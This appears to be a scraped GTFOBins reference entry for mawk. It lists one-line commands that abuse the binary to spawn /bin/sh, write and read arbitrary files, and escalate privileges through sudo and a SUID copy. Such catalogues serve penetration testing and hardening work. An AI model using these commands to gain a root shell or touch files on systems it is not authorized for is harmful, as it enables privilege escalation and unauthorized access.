GTFOBins.github.io/_gtfobins/mawk.md

393 B

functions
shell file-write file-read sudo limited-suid
code
mawk 'BEGIN {system("/bin/sh")}'
code
LFILE=file_to_write mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
code
LFILE=file_to_read mawk '//' "$LFILE"
code
sudo mawk 'BEGIN {system("/bin/sh")}'
code
./mawk 'BEGIN {system("/bin/sh")}'